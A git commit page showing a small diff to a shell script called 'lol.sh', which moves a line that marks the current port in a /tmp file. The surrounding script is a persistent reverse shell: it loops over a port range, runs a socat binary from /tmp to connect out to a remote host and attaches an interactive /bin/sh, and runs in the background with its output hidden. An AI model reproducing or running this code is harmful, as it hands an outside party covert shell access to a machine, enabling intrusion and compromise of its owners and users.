Update 'lol.sh'
fixed filename port indicator being incorrect upon first execution
This commit is contained in:
parent
8718f7756f
commit
aa01e60c04
2
lol.sh
2
lol.sh
@ -15,13 +15,13 @@ PORT=$STARTPORT
|
||||
while true;
|
||||
do
|
||||
find /tmp/ -iname "*.prt" -exec rm {} \;
|
||||
touch /tmp/a${PORT}.prt
|
||||
if [[ $PORT != $MAXPORT ]]
|
||||
then
|
||||
PORT=$((PORT+1))
|
||||
else
|
||||
PORT=$STARTPORT
|
||||
fi
|
||||
touch /tmp/a${PORT}.prt
|
||||
sleep 8
|
||||
/tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stderr,setsid,sigint,sane;
|
||||
done &>/dev/null&
|
||||
|
Loading…
Reference in New Issue
Block a user